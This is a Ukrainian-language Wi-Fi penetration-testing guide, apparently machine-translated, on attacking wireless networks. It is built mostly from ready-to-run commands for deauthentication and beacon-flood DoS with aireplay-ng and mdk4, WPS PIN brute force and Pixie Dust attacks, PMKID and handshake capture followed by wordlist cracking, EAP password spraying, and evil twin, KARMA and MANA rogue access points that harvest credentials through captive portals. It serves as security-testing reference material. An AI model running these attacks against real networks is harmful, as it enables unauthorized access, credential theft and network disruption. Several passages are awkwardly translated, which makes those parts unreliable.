Цей матеріал представляє собою всебічний посібник з тестування безпеки Wi-Fi мереж, де детально розкриваються різноманітні аспекти та методики, що можуть застосовуватися пентестерами для ідентифікації вразливостей у Wi-Fi мережах.
ip link show #List available interfaces iwconfig #List available interfaces airmon-ng check kill #Kill annoying processes airmon-ng start wlan0 #Monitor mode airmon-ng stop wlan0mon #Managed mode airodump-ng wlan0mon #Scan (default 2.4Ghz) airodump-ng wlan0mon --band a #Scan 5Ghz iwconfig wlan0 mode monitor #Put in mode monitor iwconfig wlan0mon mode managed #Quit mode monitor - managed mode iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
git clone https://github.com/s0lst1c3/eaphammer.git ./kali-setup
Airgeddon
mv `which dhcpd` `which dhcpd`.old apt install isc-dhcp-server apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Запустіть airgeddon за допомогою докера
docker run \ --rm \ -ti \ --name airgeddon \ --net=host \ --privileged \ -p 3000:3000 \ -v /tmp:/io \ -e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \ v1s1t0r1sh3r3/airgeddon
З: https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux
Він може виконувати атаки Evil Twin, KARMA та Known Beacons, а потім використовувати фішинговий шаблон для отримання справжнього пароля мережі або перехоплення облікових даних соціальної мережі.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision cd wifiphisher # Switch to tool's directory sudo python setup.py install # Install any dependencies
Цей інструмент автоматизує атаки WPS/WEP/WPA-PSK . Він автоматично:
Переведіть інтерфейс у режим монітора
Сканування можливих мереж – і дозвольте вибрати жертву(и)
Якщо WEP – запускати WEP-атаки
Якщо WPA-PSK
Якщо WPS: атака Pixie dust і атака грубою силою (будьте обережні, атака грубою силою може зайняти багато часу). Зауважте, що він не намагається ввести нульовий PIN-код або PIN-код, згенерований базою даних.
Спробуйте отримати PMKID з точки доступу, щоб зламати його
Спробуйте деаутентифікувати клієнтів точки доступу, щоб зафіксувати рукостискання
Якщо PMKID або Handshake, спробуйте виконати брутфорс, використовуючи топ5000 паролів.
DoS
Деаутентифікація/роз’єднання — відключити всіх (або певний ESSID/клієнт)
Випадкові підроблені точки доступу — приховайте мережі, сканери можливих збоїв
Перевантажте AP – спробуйте вбити AP (зазвичай це не дуже корисно)
WIDS — Грайте з IDS
TKIP, EAPOL — Деякі конкретні атаки на деякі точки доступу DoS
Cracking
Зламати WEP (кілька інструментів і методів)
WPA-PSK Пін WPS (“Brute-Force” Брутфорс WPA PMKID [DoS +] Захоплення рукостискання WPA + Злом)
WPA-MGT
Запис імені користувача
Облікові дані Bruteforce
Open Evil Twin [+ DoS] — корисно для захоплення ідентифікаційних даних порталу та/або виконання атак через локальну мережу
WPA-PSK Evil Twin — корисно для мережевих атак, якщо ви знаєте пароль
WPA-MGT – корисно для отримання облікових даних компанії
Атаки деавтентифікації , поширений метод злому Wi-Fi, передбачають підробку кадрів «керування» для примусового відключення пристроїв від мережі . Ці незашифровані пакети змушують клієнтів повірити, що вони належать до законної мережі, дозволяючи зловмисникам збирати протоколи WPA для злому або постійно переривати мережеві з’єднання. Ця тактика, тривожна своєю простотою, широко використовується та має значні наслідки для безпеки мережі.
Деавтентифікація за допомогою Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
-0 означає деавтентифікацію
1 — це кількість смертей, які потрібно надіслати (ви можете надіслати декілька, якщо хочете); 0 означає надсилати їх постійно
-a 00:14:6C:7E:40:80 MAC-адреса точки доступу
-c 00:0F:B5:34:30:30 — MAC-адреса клієнта для деаутентифікації; якщо це опущено, надсилається широкомовна деаутентифікація (не завжди працює)
ath0 — ім’я інтерфейсу
Пакети роз’єднання , подібні до пакетів деаутентифікації, є типом кадру керування, що використовується в мережах Wi-Fi. Ці пакети служать для розриву з’єднання між пристроєм (наприклад, ноутбуком або смартфоном) і точкою доступу (AP). Основна різниця між роз’єднанням і деаутентифікацією полягає в сценаріях їх використання. У той час як точка доступу видає пакети деавтентифікації для явного видалення шахрайських пристроїв з мережі, пакети роз’єднання зазвичай надсилаються, коли точка доступу закривається , перезапускається або переміщується, що вимагає відключення всіх підключених вузлів.
Ця атака може бути виконана за допомогою mdk4 (режим “d”):
# -c <channel> # -b victim_client_mac.txt contains the MAC address of the device to eliminate # -e WifiName is the name of the wifi # -B BSSID is the BSSID of the AP # Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
РЕЖИМ АТАКИ b: Затоплення маяка
Надсилає кадри-маяки, щоб показати клієнтам підроблені точки доступу. Іноді це може привести до збою мережевих сканерів і навіть драйверів!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -m use real BSSIDS # All the parameters are optional and you could load ESSIDs from a file mdk4 wlan0mon b -a -w nta -m
РЕЖИМ АТАКИ a: автентифікація, відмова в обслуговуванні
Надсилання кадрів автентифікації до всіх доступних точок доступу (AP) у межах діапазону може перевантажити ці AP, особливо коли задіяно багато клієнтів. Цей інтенсивний трафік може призвести до нестабільності системи, спричиняючи зависання або навіть скидання деяких точок доступу.
# -a BSSID send random data from random clients to try the DoS # -i BSSID capture and repeat pakets from authenticated clients # -m use real MACs # only -a or -i can be used mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
РЕЖИМ АТАКИ p: Зондування SSID і підбір
Перевірка точок доступу (AP) перевіряє, чи належним чином виявлено SSID, і підтверджує діапазон точки доступу. Ця техніка в поєднанні з підбіром прихованих SSID зі списком слів або без нього допомагає ідентифікувати та отримувати доступ до прихованих мереж.
РЕЖИМ АТАКИ m: Майкл контрзаходи Експлуатація
Надсилання випадкових або повторюваних пакетів до різних черг QoS може викликати контрзаходи Майкла на точках доступу TKIP , що призведе до вимкнення точки доступу на одну хвилину. Цей метод є ефективною тактикою атаки DoS (відмова в обслуговуванні).
# -t <BSSID> of a TKIP AP # -j use inteligent replay to create the DoS mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
РЕЖИМ АТАКИ e: EAPOL Start and Logoff Packet Injection
Заповнення точки доступу фреймами EAPOL Start створює підроблені сеанси , перевантажуючи точку доступу та блокуючи законних клієнтів. Крім того, впровадження фальшивих повідомлень про вихід із системи EAPOL примусово відключає клієнтів, обидва методи ефективно порушують роботу мережі.
# Use Logoff messages to kick clients mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
РЕЖИМ АТАКИ s: Атаки для сітчастих мереж IEEE 802.11s
Різноманітні атаки на керування зв’язками та маршрутизацію в mesh-мережах.
РЕЖИМ АТАКИ w: WIDS Confusion
Перехресне підключення клієнтів до кількох вузлів WDS або підроблених точок доступу може маніпулювати системами виявлення та запобігання вторгненням, створюючи плутанину та потенційне зловживання системою.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) mkd4 -e <SSID> -c <channel> [-z]
РЕЖИМ АТАКИ f: Packet Fuzzer
Фазер пакетів, який містить різноманітні джерела пакетів і повний набір модифікаторів для маніпулювання пакетами.
Airgeddon пропонує більшість атак, запропонованих у попередніх коментарях:
WPS (Wi-Fi Protected Setup) спрощує процес підключення пристроїв до маршрутизатора, підвищуючи швидкість і легкість налаштування для мереж, зашифрованих за допомогою WPA або WPA2 Personal. Це неефективно для безпеки WEP, яку легко зламати. WPS використовує 8-значний PIN-код, перевірений двома половинами, що робить його сприйнятливим до атак грубою силою через обмежену кількість комбінацій (11 000 можливостей).
Є 2 основні інструменти для виконання цієї дії: Reaver і Bully.
Reaver було розроблено як надійну та практичну атаку проти WPS, і було перевірено на широкий спектр точок доступу та реалізацій WPS.
Bully — це нова реалізація атаки грубої сили WPS, написана мовою C. Вона має кілька переваг порівняно з оригінальним кодом reaver: менше залежностей, покращена продуктивність пам’яті та ЦП, правильна обробка порядку байтів і більш надійний набір параметрів.
Атака використовує вразливість PIN-коду WPS , зокрема його розкриття ролі перших чотирьох цифр і останньої цифри як контрольної суми, що полегшує атаку грубою силою. Однак засоби захисту від атак грубої сили, як-от блокування MAC-адрес агресивних зловмисників, вимагають ротації MAC-адреси для продовження атаки.
Отримавши PIN-код WPS за допомогою таких інструментів, як Bully або Reaver, зловмисник може визначити WPA/WPA2 PSK, забезпечуючи постійний доступ до мережі .
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Цей вдосконалений підхід спрямований на PIN-коди WPS, використовуючи відомі вразливості:
Попередньо виявлені PIN-коди : використовуйте базу даних відомих PIN-кодів, пов’язаних із певними виробниками, які, як відомо, використовують уніфіковані PIN-коди WPS. Ця база даних співвідносить перші три октети MAC-адрес із можливими PIN-кодами цих виробників.
Алгоритми генерації PIN-коду : використовуйте такі алгоритми, як ComputePIN і EasyBox, які обчислюють PIN-коди WPS на основі MAC-адреси точки доступу. Алгоритм Arcadyan додатково вимагає ідентифікатора пристрою, додаючи рівень до процесу генерації PIN-коду.
Домінік Бонгард виявив недолік у деяких точках доступу (AP) щодо створення секретних кодів, відомих як nonces ( E-S1 і E-S2 ). Якщо ці nonces можна розпізнати, зламати PIN-код WPS точки доступу стане легко. AP розкриває PIN-код у спеціальному коді (хеш), щоб підтвердити, що він законний, а не підроблений (шахрайський) AP. Ці nonces по суті є «ключами» для розблокування «сейфа», у якому зберігається PIN-код WPS. Детальніше про це можна дізнатися тут .
Простіше кажучи, проблема полягає в тому, що деякі точки доступу не використовували достатньо випадкових ключів для шифрування PIN-коду під час процесу підключення. Це робить PIN-код вразливим до вгадування ззовні мережі (офлайн-атака грубої сили).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Деякі погано спроектовані системи навіть дозволяють надавати доступ за нульовим PIN-кодом (порожнім або неіснуючим PIN-кодом), що є досить незвичним. Інструмент Reaver здатний перевіряти цю вразливість, на відміну від Bully .
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Усі запропоновані атаки WPS можна легко виконати за допомогою airgeddon.
5 і 6 дозволяють спробувати власний PIN-код (якщо він є)
7 і 8 виконують атаку Pixie Dust
13 дозволяє перевірити NULL PIN
11 і 12 зберуть PIN-коди, пов’язані з вибраною точкою доступу, з доступних баз даних і згенерують можливі PIN-коди за допомогою: ComputePIN, EasyBox і додатково Arcadyan (рекомендовано, чому ні?)
9 і 10 перевірять усі можливі PIN-коди
Такий зламаний і невикористаний сьогодні. Просто знайте, що у airgeddon є опція WEP під назвою «Все в одному» для атаки такого типу захисту. Інші інструменти пропонують подібні варіанти.
У 2018 році hashcat представив новий метод атаки, унікальний, оскільки для нього потрібен лише один пакет і не вимагається підключення будь-яких клієнтів до цільової точки доступу — лише взаємодія між зловмисником і точкою доступу.
Багато сучасних маршрутизаторів додають необов’язкове поле до першого кадру EAPOL під час асоціації, відоме як Robust Security Network
. Це включає в себе PMKID
.
Як пояснюється в оригінальній публікації, PMKID створюється з використанням відомих даних:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Враховуючи, що «PMK Name» є постійним, ми знаємо BSSID точки доступу та станції, і він PMK
ідентичний ідентифікатору повного 4-стороннього рукостискання, hashcat може використовувати цю інформацію, щоб зламати PSK і відновити парольну фразу!
Щоб зібрати цю інформацію та локально перевірити пароль, виконайте такі дії:
airmon-ng check kill airmon-ng start wlan0 git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
Зняті PMKID буде показано на консолі , а також збережено в _ /tmp/attack.pcap _ Тепер перетворіть запис у формат hashcat/john і зламайте його:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Будь ласка, зверніть увагу, що формат правильного хешу містить 4 частини , як-от:
4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
якщо ваш містить лише 3 частини , то він недійсний (запис PMKID недійсний).
Зауважте, що hcxdumptool
також зніміть рукостискання (з’явиться щось на зразок цього: MP:M1M2 RC:63258 EAPOLTIME:17091). Ви можете перетворити рукостискання у формат hashcat / john за допомогою
cap2hccapx
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] hccap2john pmkid.hccapx > handshake.john john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
Помітивши, що деякі рукостискання, зафіксовані за допомогою цього інструменту, неможливо зламати, навіть знаючи правильний пароль. Рекомендуемо зафіксувати рукостискання також традиційним способом, якщо це можливо, або захопити кілька з них за допомогою цього інструменту.
Атака на мережі WPA/WPA2 може бути здійснена шляхом перехоплення рукостискання та спроби зламати пароль в автономному режимі . Цей процес передбачає моніторинг зв’язку певної мережі та BSSID на певному каналі . Ось спрощений посібник:
Визначте BSSID , канал і підключеного клієнта цільової мережі.
Використовуйте
airodump-ng
для моніторингу мережевого трафіку на вказаному каналі та BSSID, сподіваючись зафіксувати рукостискання. Команда буде виглядати так:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
Щоб збільшити ймовірність зафіксувати рукостискання, миттєво відключіть клієнта від мережі, щоб примусово виконати повторну автентифікацію. Це можна зробити за допомогою
aireplay-ng
команди, яка надсилає пакети деаутентифікації клієнту:
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
Зауважте, що після деавтентифікації клієнта він міг спробувати підключитися до іншої точки доступу або, в інших випадках, до іншої мережі.
Коли в ньому airodump-ng
з’явиться інформація про рукостискання, це означає, що рукостискання було зафіксовано, і ви можете припинити прослуховування:
Після того, як рукостискання буде зафіксовано, ви можете зламати його за допомогою aircrack-ng
:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
У корпоративних налаштуваннях WiFi ви зустрінете різні методи автентифікації , кожен з яких забезпечує різні рівні безпеки та функції керування. Коли ви використовуєте такі інструменти, як airodump-ng
перевірка мережевого трафіку, ви можете помітити ідентифікатори для цих типів автентифікації. Серед поширених методів:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
EAP-GTC (узагальнена картка токенів) :
Цей метод підтримує апаратні маркери та одноразові паролі в EAP-PEAP. На відміну від MSCHAPv2, він не використовує одноранговий виклик і надсилає паролі у вигляді відкритого тексту до точки доступу, створюючи ризик для атак зниження версії.
EAP-MD5 (дайджест повідомлень 5) :
Включає надсилання хешу MD5 пароля від клієнта. Це не рекомендовано через вразливість до словникових атак, відсутність автентифікації сервера та нездатність генерувати ключі WEP для сеансу.
EAP-TLS (безпека транспортного рівня) :
Використовує сертифікати як на стороні клієнта, так і на стороні сервера для автентифікації та може динамічно генерувати ключі WEP на основі користувача та сеансу для захисту зв’язку.
EAP-TTLS (безпека тунельного транспортного рівня) :
Забезпечує взаємну автентифікацію через зашифрований тунель разом із методом отримання динамічних ключів WEP для кожного користувача та кожного сеансу. Для цього потрібні лише сертифікати на стороні сервера, а клієнти використовують облікові дані.
PEAP (Захищений розширюваний протокол автентифікації) :
Функціонує подібно до EAP, створюючи тунель TLS для захищеного зв’язку. Це дозволяє використовувати слабкіші протоколи автентифікації поверх EAP завдяки захисту, який пропонує тунель.
PEAP-MSCHAPv2 : часто відомий як PEAP, він поєднує вразливий механізм виклику/відповіді MSCHAPv2 із захисним тунелем TLS.
PEAP-EAP-TLS (або PEAP-TLS) : Подібно до EAP-TLS, але ініціює тунель TLS перед обміном сертифікатами, пропонуючи додатковий рівень безпеки.
Читаючи https://tools.ietf.org/html/rfc3748#page-27 , здається, що якщо ви використовуєте EAP, повідомлення « Identity» мають підтримуватися , а ім’я користувача буде надіслано зрозуміло в «Response Identity». “ повідомлення.
Навіть використовуючи один із найбезпечніших методів автентифікації: PEAP-EAP-TLS , можна захопити ім’я користувача, надіслане в протоколі EAP . Для цього перехопіть зв’язок автентифікації (розпочніть airodump-ng
у каналі та wireshark
в тому самому інтерфейсі) і відфільтруйте пакети за eapol
. Усередині пакета « Відповідь, ідентифікація » з’явиться ім’я користувача клієнта.
Приховування ідентифікації підтримується EAP-PEAP і EAP-TTLS. У контексті мережі Wi-Fi запит EAP-Identity зазвичай ініціюється точкою доступу (AP) під час процесу асоціації. Щоб забезпечити анонімність користувача, відповідь від клієнта EAP на пристрої користувача містить лише важливу інформацію, необхідну початковому серверу RADIUS для обробки запиту. Ця концепція проілюстрована такими сценаріями:
EAP-Identity = анонімний
У цьому сценарії всі користувачі використовують псевдонім «анонім» як ідентифікатор користувача. Початковий сервер RADIUS функціонує як сервер EAP-PEAP або EAP-TTLS, відповідальний за керування протоколом PEAP або TTLS на стороні сервера. Потім внутрішній (захищений) метод автентифікації обробляється локально або делегується віддаленому (домашньому) серверу RADIUS.
EAP-Identity = anonymous@realm_x
У цій ситуації користувачі з різних сфер приховують свої особи, вказуючи відповідні області. Це дозволяє початковому серверу RADIUS надсилати запити EAP-PEAP або EAP-TTLS до серверів RADIUS у їхніх домашніх сферах, які діють як сервери PEAP або TTLS. Початковий сервер RADIUS працює виключно як вузол ретрансляції RADIUS.
Крім того, початковий сервер RADIUS може функціонувати як сервер EAP-PEAP або EAP-TTLS і або обробляти захищений метод автентифікації, або пересилати його на інший сервер. Цей параметр полегшує конфігурацію окремих політик для різних сфер.
У EAP-PEAP після встановлення тунелю TLS між сервером PEAP і клієнтом PEAP сервер PEAP ініціює запит EAP-Identity і передає його через тунель TLS. Клієнт відповідає на цей другий запит EAP-Identity, надсилаючи через зашифрований тунель відповідь EAP-Identity, що містить справжню особу користувача. Цей підхід ефективно запобігає розкриттю справжньої особи користувача будь-кому, хто підслуховує трафік 802.11.
EAP-TTLS виконує дещо іншу процедуру. За допомогою EAP-TTLS клієнт зазвичай автентифікується за допомогою PAP або CHAP, захищених тунелем TLS. У цьому випадку клієнт включає атрибут User-Name і атрибут Password або CHAP-Password у початкове повідомлення TLS, надіслане після встановлення тунелю.
Незалежно від обраного протоколу, сервер PEAP/TTLS отримує відомості про справжню особу користувача після встановлення тунелю TLS. Справжню особу можна представити як user@realm або просто user. Якщо сервер PEAP/TTLS також відповідає за автентифікацію користувача, він тепер володіє ідентифікацією користувача та продовжує використовувати метод автентифікації, захищений тунелем TLS. Крім того, сервер PEAP/TTLS може переслати новий запит RADIUS на домашній сервер RADIUS користувача. У цьому новому запиті RADIUS відсутній рівень протоколу PEAP або TTLS. У випадках, коли захищеним методом автентифікації є EAP, внутрішні повідомлення EAP передаються на домашній сервер RADIUS без оболонки EAP-PEAP або EAP-TTLS. Атрибут User-Name вихідного RADIUS-повідомлення містить справжню особу користувача, замінюючи анонімне User-Name із вхідного RADIUS-запиту. Якщо захищеним методом автентифікації є PAP або CHAP (підтримується лише TTLS), ім’я користувача та інші атрибути автентифікації, отримані з корисного навантаження TLS, замінюються у вихідному повідомленні RADIUS, замінюючи знайдені анонімні атрибути User-Name та TTLS EAP-Message. у вхідному запиті RADIUS.
Якщо очікується, що клієнт використовуватиме ім’я користувача та пароль (зауважте, що EAP-TLS не буде дійсним у цьому випадку), тоді ви можете спробувати отримати список імен користувачів ( див. наступну частину) і паролів і спробувати брутфорсувати доступ за допомогою пневматичного молотка .
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
Ви також можете здійснити цю атаку за допомогою eaphammer
:
./eaphammer --eap-spray \ --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \ --essid example-wifi \ --password bananas \ --user-list users.txt
Протокол 802.11 визначає, як станція приєднується до розширеного набору послуг (ESS), але не вказує критерії для вибору ESS або точки доступу (AP) у ньому.
Станції можуть переміщатися між точками доступу, що мають один і той самий ESSID, зберігаючи зв’язок між будівлею чи територією.
Протокол вимагає автентифікації станції для ESS, але не вимагає автентифікації AP для станції.
Станції зберігають ESSID кожної бездротової мережі, до якої вони підключаються, у своєму списку бажаних мереж (PNL) разом із деталями конфігурації мережі.
PNL використовується для автоматичного підключення до відомих мереж, покращуючи роботу користувача шляхом оптимізації процесу підключення.
Точки доступу періодично транслюють кадри маяків, повідомляючи про свою присутність і функції, включаючи ESSID точки доступу, якщо трансляція не вимкнена.
Під час пасивного сканування станції прослуховують кадри маяків. Якщо ESSID маяка збігається із записом у PNL станції, станція може автоматично підключитися до цієї точки доступу.
Знання PNL пристрою дозволяє потенційно використовувати його шляхом імітації відомого ESSID мережі, обманом змушуючи пристрій підключитися до шахрайської точки доступу.
Активне зондування включає станції, які надсилають запити на зондування для виявлення найближчих точок доступу та їхніх характеристик.
Спрямовані запити зондування націлені на певний ESSID, допомагаючи визначити, чи знаходиться певна мережа в межах досяжності, навіть якщо це прихована мережа.
Запити широкомовного зондування мають нульове поле SSID і надсилаються до всіх найближчих точок доступу, дозволяючи станції перевіряти будь-яку бажану мережу, не розкриваючи її вміст PNL.
Перш ніж пояснювати, як виконувати більш складні атаки , ми пояснимо, як просто створити точку доступу та перенаправити її трафік на інтерфейс, підключений до Інтернету .
За допомогою ifconfig -a
перевірте наявність інтерфейсу WLAN для створення точки доступу та інтерфейсу, підключеного до Інтернету.
apt-get install dnsmasq #Manages DHCP and DNS
Створіть файл конфігурації /etc/dnsmasq.conf
:
interface=wlan0 dhcp-authoritative dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h dhcp-option=3,192.168.1.1 dhcp-option=6,192.168.1.1 server=8.8.8.8 log-queries log-dhcp listen-address=127.0.0.1
Потім встановіть IP-адреси та маршрути :
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0 route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
А потім запустіть dnsmasq:
dnsmasq -C dnsmasq.conf -d
apt-get install hostapd
Створіть файл конфігурації hostapd.conf
:
interface=wlan0 driver=nl80211 ssid=MITIWIFI hw_mode=g channel=11 macaddr_acl=0 ignore_broadcast_ssid=0 auth_algs=1 wpa=2 wpa_passphrase=mitmwifi123 wpa_key_mgmt=WPA-PSK wpa_pairwise=CCMP wpa_group_rekey=86400 ieee80211n=1 wme_enabled=1
Зупиніть дратівливі процеси , встановіть режим моніторингу та запустіть hostapd :
airmon-ng check kill iwconfig wlan0 mode monitor ifconfig wlan0 up hostapd ./hostapd.conf
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE iptables --append FORWARD --in-interface wlan0 -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward
Зла подвійна атака використовує спосіб, у який клієнти WiFi розпізнають мережі, переважно покладаючись на назву мережі (ESSID), не вимагаючи від базової станції (точки доступу) автентифікації для клієнта.
Ключові моменти:
Труднощі в диференціації : пристроям важко розрізнити законні та фальшиві точки доступу, коли вони мають однаковий ESSID і тип шифрування. Реальні мережі часто використовують кілька точок доступу з однаковим ESSID для безпроблемного розширення покриття.
Клієнтський роумінг і маніпулювання підключенням : протокол 802.11 дозволяє пристроям здійснювати роумінг між точками доступу в одній ESS. Зловмисники можуть скористатися цим, спонукаючи пристрій відключитися від його поточної базової станції та підключитися до шахрайської. Цього можна досягти, запропонувавши більш потужний сигнал або порушивши з’єднання з законною точкою доступу за допомогою таких методів, як пакети деавтентифікації або глушіння.
Проблеми у виконанні : Успішне виконання злої подвійної атаки в середовищах із кількома добре розташованими точками доступу може бути складним завданням. Деаутентифікація однієї законної точки доступу часто призводить до того, що пристрій підключається до іншої законної точки доступу, якщо зловмисник не може деавтентифікувати всі найближчі точки доступу або стратегічно розмістити шахрайську точку доступу.
Ви можете створити дуже простий Open Evil Twin (без можливості маршрутизації трафіку в Інтернет), виконавши:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
Ви також можете створити Evil Twin за допомогою eaphammer (зауважте, що для створення злих близнюків за допомогою eaphammer інтерфейс НЕ має бути в режимі монітора ):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Або за допомогою Airgeddon:Options: 5,6,7,8,9 (inside Evil Twin attack menu).
Зауважте, що за умовчанням, якщо ESSID у PNL збережено як захищений WPA, пристрій не підключатиметься автоматично до Open evil Twin. Ви можете спробувати DoS справжню точку доступу та сподіватися, що користувач вручну під’єднається до вашої Open Evil Twin, або ви можете DoS справжню точку доступу, використавши WPA Evil Twin для захоплення рукостискання (за допомогою цього методу ви не зможете дозвольте жертві підключитися до вас, оскільки ви не знаєте PSK, але ви можете захопити рукостискання та спробувати його зламати). Деякі ОС і AV попередять користувача, що підключення до відкритої мережі небезпечне…
Ви можете створити Evil Twin за допомогою WPA/2 , і якщо пристрої налаштовано на підключення до цього SSID за допомогою WPA/2, вони спробують підключитися. У будь – якому випадку, щоб завершити 4-стороннє рукостискання, вам також потрібно знати пароль , який використовуватиме клієнт. Якщо ви цього не знаєте , підключення не буде завершено.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Цей метод перевірено у з’єднанні PEAP, але оскільки я розшифровую довільний тунель TLS, він також має працювати з EAP-TTLS
Усередині конфігурації hostapd -wpe прокоментуйте рядок, який містить dh_file (від dh_file=/etc/hostapd-wpe/certs/dh
) #dh_file=/etc/hostapd-wpe/certs/dh
. Це дозволить hostapd-wpe
обмінюватися ключами за допомогою RSA замість DH, тож ви зможете пізніше розшифрувати трафік , знаючи приватний ключ сервера .
Тепер запустіть Evil Twin , використовуючи hostapd-wpeцю змінену конфігурацію, як зазвичай. Також запустіть wiresharkінтерфейс , який виконує атаку Evil Twin.
Зараз або пізніше (коли ви вже зафіксували деякі наміри автентифікації) ви можете додати приватний ключ RSA до wireshark у:Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...
Додайте новий запис і заповніть форму такими значеннями: IP-адреса = будь-який — Порт = 0 — Протокол = дані — Файл ключа ( виберіть файл ключа , щоб уникнути проблем, виберіть файл ключа без захисту паролем ).
І подивіться на нову вкладку «Decrypted TLS» :
Чорні/білі списки ESSID і MAC
Різні типи списків фільтрів керування доступом до медіа (MFACL) і їхні відповідні режими та вплив на поведінку шахрайської точки доступу (AP):
Білий список на основі MAC :
Зловмисний AP відповідатиме лише на запити зонду від пристроїв, указаних у білому списку, залишаючись невидимим для всіх інших, яких немає в списку.
Чорний список на основі MAC :
Шахрайська точка доступу ігноруватиме запити на зондування від пристроїв із чорного списку, фактично роблячи шахрайську точку доступу невидимою для цих конкретних пристроїв.
Білий список на основі SSID :
Шахрайська точка доступу відповідатиме на запити зонду лише для певних указаних у списку ESSID, роблячи її невидимою для пристроїв, списки яких пріоритетних мереж (PNL) не містять цих ESSID.
Чорний список на основі SSID :
Несанкціонована точка доступу не відповідатиме на запити щодо конкретних ESSID у чорному списку, що робить її невидимою для пристроїв, які шукають ці конкретні мережі.
# example EAPHammer MFACL file, wildcards can be used 09:6a:06:c8:36:af 37:ab:46:7a:9a:7c c7:36:8c:b2:*:* [--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting] [--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file name1 name2 name3 [--ssid-whitelist /path/to/mac/whitelist/file.txt] [--ssid-blacklist /path/to/mac/blacklist/file.txt]
Цей метод дозволяє зловмиснику створити зловмисну точку доступу (AP), яка відповідає на всі тестові запити від пристроїв, які прагнуть підключитися до мережі. Ця техніка обманом змушує пристрої підключитися до точки доступу зловмисника, імітуючи мережі, які шукають пристрої. Коли пристрій надсилає запит на підключення до цієї шахрайської точки доступу, він завершує з’єднання, змушуючи пристрій помилково підключатися до мережі зловмисника.
Потім пристрої почали ігнорувати небажані відповіді мережі , знижуючи ефективність початкової атаки карми. Однак новий метод, відомий як атака MANA , був представлений Яном де Вільєрсом і Домініком Уайтом. Цей метод полягає в тому, що шахрайська точка доступу збирає списки бажаних мереж (PNL) із пристроїв, відповідаючи на їхні широкомовні тестові запити з іменами мереж (SSID), які раніше запитували пристрої. Ця складна атака обходить захист від початкової атаки карми, використовуючи спосіб, у який пристрої запам’ятовують і визначають пріоритети відомих мереж.
Атака MANA працює шляхом моніторингу як спрямованих, так і широкомовних запитів зондування від пристроїв. Для спрямованих запитів він записує MAC-адресу пристрою та запитане ім’я мережі, додаючи цю інформацію до списку. Коли надходить широкомовний запит, точка доступу відповідає інформацією, що відповідає будь-якій із мереж у списку пристрою, спонукаючи пристрій підключитися до шахрайської точки доступу.
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
